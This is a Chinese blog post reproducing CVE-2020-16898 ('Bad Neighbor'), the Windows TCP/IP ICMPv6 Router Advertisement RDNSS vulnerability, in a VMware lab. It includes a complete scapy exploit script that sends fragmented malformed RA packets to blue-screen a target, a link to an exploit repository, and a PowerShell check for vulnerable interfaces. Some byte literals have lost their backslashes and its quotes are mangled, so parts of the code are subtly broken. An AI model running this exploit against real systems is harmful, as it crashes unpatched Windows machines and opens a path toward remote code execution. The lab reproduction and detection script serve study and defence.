复现CVE-2020-16898 TCP/IP远程代码执行漏洞

Posted forforever

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了复现CVE-2020-16898 TCP/IP远程代码执行漏洞相关的知识,希望对你有一定的参考价值。

EXP/POC看文末

简述:

CVE-2020-16898,又称“Bad Neighbor”

Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。

漏洞描述

当 Windows TCP/IP 堆栈不正确地处理使用 Option Type 25(Recursive DNS Server Option)和长度字段值为偶数的 ICMPv6路由器广告包时,存在远程代码执行漏洞。在此选项中,长度以8字节的增量计算,因此长度为3的 RDNSS 选项的总长度应该为24字节。该选项本身包含五个字段: IPv6递归 DNS 服务器的类型、长度、保留、生存期和地址。前四个字段总共是8字节,但是最后一个字段可以包含不同数量的 IPv6地址,每个地址16字节。因此,根据 RFC 8106,长度字段应该始终是一个至少为3的奇数值

具体可看:原理简述

受影响版本

  • Windows 10 Version 1709 for 32-bit Systems
  • Windows 10 Version 1709 for ARM64-based Systems
  • Windows 10 Version 1709 for x64-based Systems
  • Windows 10 Version 1803 for 32-bit Systems
  • Windows 10 Version 1803 for ARM64-based Systems
  • Windows 10 Version 1803 for x64-based Systems
  • Windows 10 Version 1809 for 32-bit Systems
  • Windows 10 Version 1809 for ARM64-based Systems
  • Windows 10 Version 1809 for x64-based Systems
  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 2004 for 32-bit Systems
  • Windows 10 Version 2004 for ARM64-based Systems
  • Windows 10 Version 2004 for x64-based Systems
  • Windows Server 2019
  • Windows Server 2019 (Server Core installation)
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)
  • Windows Server, version 2004 (Server Core installation)

一.环境

网络环境开启ipv6支持。这里使用vmware,NAT出一个子网,并开启ipv6支持。

技术图片

选取一个受影响版本的windows10镜像,安装在虚拟机里。

技术图片

打开IPv6地址。

技术图片

二、利用思路

1.利用条件

  1. 基本条件
    • attacker需要获取target的IPv6和MAC地址
  2. 触发过程
    • attacker需要搭配其他内存泄漏或信息泄漏漏洞来实现RCE
    • attacker需要想办法绕过tcpip.sys的GS保护机制

2. 利用过程

attacker直接发送特制的ICMPv6路由广播数据包给target:

[ Attacker ] <``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``> [ Target ]

3. 攻击向量

建立连接后,利用IPv6直接发送攻击数据包即可。

三、复现

exp-1

1.执行ipconfig,查看IPv6地址:

技术图片

2.注意:受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”

3.攻击者和目标主机通信

执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

技术图片

4.攻击机中python为3.7+ ,并且安装了scapy

5.漏洞利用

这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。

CVE-2020-16898-exp1.py:

from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103"	#根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址
v6_src = "fe80::501a:49b7:b7d:5362%12"				#攻击者的本地ipv6地址
 
p_test_half = ‘A‘.encode()*8 + b"x18x30" + b"xFFx18"
p_test = p_test_half + ‘A‘.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa /       Raw(load=‘A‘.encode()*16*2 + p_test_half + b"x18xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/               IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p)

执行:

python3 CVE-2020-16898-exp1.py

执行这个脚本,可以看到虚拟机被打蓝屏了。如下:

技术图片

可以wirkshark选择对应的虚拟网卡进行抓包查看

大概如下(我的wirkshark有点问题,套用大佬的截图):

技术图片

目测红框下的Router Advertisement是最核心的包,

技术图片

exp-2

条件:能和目标通信,知道目标的本地链接IPv6地址

使用

修改代码中的dst参数为目标的本地链接IPv6地址
然后攻击机执行
python3 CVE-2020-16898-exp2.py即可

技术图片

技术图片

四、poc检测

在github上找了个powershell脚本,可以检测windows10是否存在这个漏洞,大体看了下是基于版本和配置检测的,用powershell获取配置,如果开启了 基于RA的DNS配置(RFC6106),并且win10发行版本大于1707,就存在这个漏洞。

Function Get-IPv6InterfaceParams($interface)
{
    $Output = netsh int ipv6 sh interfaces interface=$interface
    $windows_version = Check_windows_version
    $release_id = Check_release_id
 
 
 
    $Object = New-Object -Type PSObject
    $Output | Where {$_ -match ‘^([^:]+):s*(S.*)$‘ } | Foreach {
        [int]$ParseResult = 0
        if ([int]::TryParse($Matches[2], [ref]$ParseResult))
        {
            $Value = $ParseResult
       }
        else
        {
            $Value = $Matches[2]
        }
        $Name = $Matches[1] -replace ‘ ‘
        $Object | Add-Member -Type NoteProperty -Name $Name -Value $Value
    }
    $filter = $Object | where ‘基于RA的DNS配置(RFC6106)‘ -eq enabled | Select-Object IfLuid,IfIndex,‘基于RA的DNS配置(RFC6106)‘
    #Write-Output $filter
    $interfs = $filter | Select-Object -ExpandProperty IfIndex
    if ($interfs -and $windows_version -like "*10*" -and $release_id -gt 1707) {
        Write-Host "Windows vulnerable version" $windows_version $release_id -BackgroundColor Red
        Write-Host "Vulnerable interface:" -BackgroundColor Red
        foreach ($interf in $interfs) {
            netsh int ipv6 sh int $interf
        }
    }else {
        "No Vulnerable interfaces"
    }
    
}
 
 
Function Check_release_id {
    $output = (Get-ItemProperty -Path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersion" -Name ReleaseId).ReleaseId
    return $output
}
 
Function Check_windows_version {
    $output = (Get-ItemProperty -Path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersion" -Name ProductName).ProductName
    return $output
}
 
$up_interfaces = Get-NetAdapter | where status -eq ‘up‘ | Select-Object -ExpandProperty ifIndex
 
foreach ($interface in $up_interfaces) {
    Get-IPv6InterfaceParams($interface)    
}

执行:

 > Powershell.exe -ExecutionPolicy UnRestricted -File .CVE-2020-16898-poc.ps1

技术图片

五、修复

https://zhuanlan.zhihu.com/p/265755647

https://bbs.pediy.com/thread-262707.htm#msg_header_h3_10

EXP&POC下载及使用方法:https://github.com/komomon/CVE-2020-16898

参考:https://blog.csdn.net/hsj_csdn/article/details/109138162

以上是关于复现CVE-2020-16898 TCP/IP远程代码执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

漏洞预警 | VxWorks TCP/IP 协议栈多个远程代码执行漏洞

Matlab - TCP/IP通讯

powershell 显示本地或远程系统的当前TCP / IP连接。包括每个连接的进程ID(PID)和进程名称。如果

LabVIEW Arduino TCP/IP远程智能家居系统(项目篇—5)

LabVIEW Arduino TCP/IP远程智能家居系统(项目篇—5)

tcp/ip协议包含哪几层